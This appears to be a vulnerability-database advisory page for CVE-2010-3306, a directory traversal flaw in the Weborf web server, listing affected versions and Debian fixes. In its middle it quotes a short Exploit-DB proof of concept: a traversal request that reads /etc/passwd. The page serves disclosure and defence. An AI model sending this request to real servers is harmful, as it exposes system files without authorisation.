CVE-2010-3306

medium
Published 2010-09-24 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.0

Description

Directory traversal vulnerability in the modURL function in instance.c in Weborf before 0.12.3 allows remote attackers to read arbitrary files via ..%2f sequences in a URI.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14925 remote linux verified text ยท 1 KB
Rew ยท 2010-09-07

weborf 0.12.2 - Directory Traversal

text exploit Source: Exploit-DB
Title: Weborf httpd <= 0.12.2 Directory Traversal Vulnerability
Date: Sep 6, 2010
Author:	Rew
Link: http://galileo.dmi.unict.it/wiki/weborf/doku.php
Version: 0.12.2
Tested On: Debian 5
CVE: N/A

=============================================================

Weborf httpd <= 0.12.2 suffers a directory traversal
vulnerability.  This vulnerability could allow
attackers to read arbitrary files and hak th3 plan3t.

instance.c : line 240-244
------------------------------
void modURL(char* url) {
    //Prevents the use of .. to access the whole filesystem  <-- ORLY?
    strReplace(url,"../",'\0');

    replaceEscape(url);
------------------------------

Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

==============================================================

Stay safe,
Over and Out

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 0.12.3-1
sid Fixed 0.12.3-1
forky Fixed 0.12.3-1
bullseye Fixed 0.12.3-1
bookworm Fixed 0.12.3-1

Application impact

VendorProductVersionsFixed
salvo_g._tomaselliweborf{"endIncluding":"0.12.2"}
salvo_g._tomaselliweborf0.3
salvo_g._tomaselliweborf0.4
salvo_g._tomaselliweborf0.5
salvo_g._tomaselliweborf0.6
salvo_g._tomaselliweborf0.7
salvo_g._tomaselliweborf0.8
salvo_g._tomaselliweborf0.9
salvo_g._tomaselliweborf0.10
salvo_g._tomaselliweborf0.11
salvo_g._tomaselliweborf0.12
salvo_g._tomaselliweborf0.12.1

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.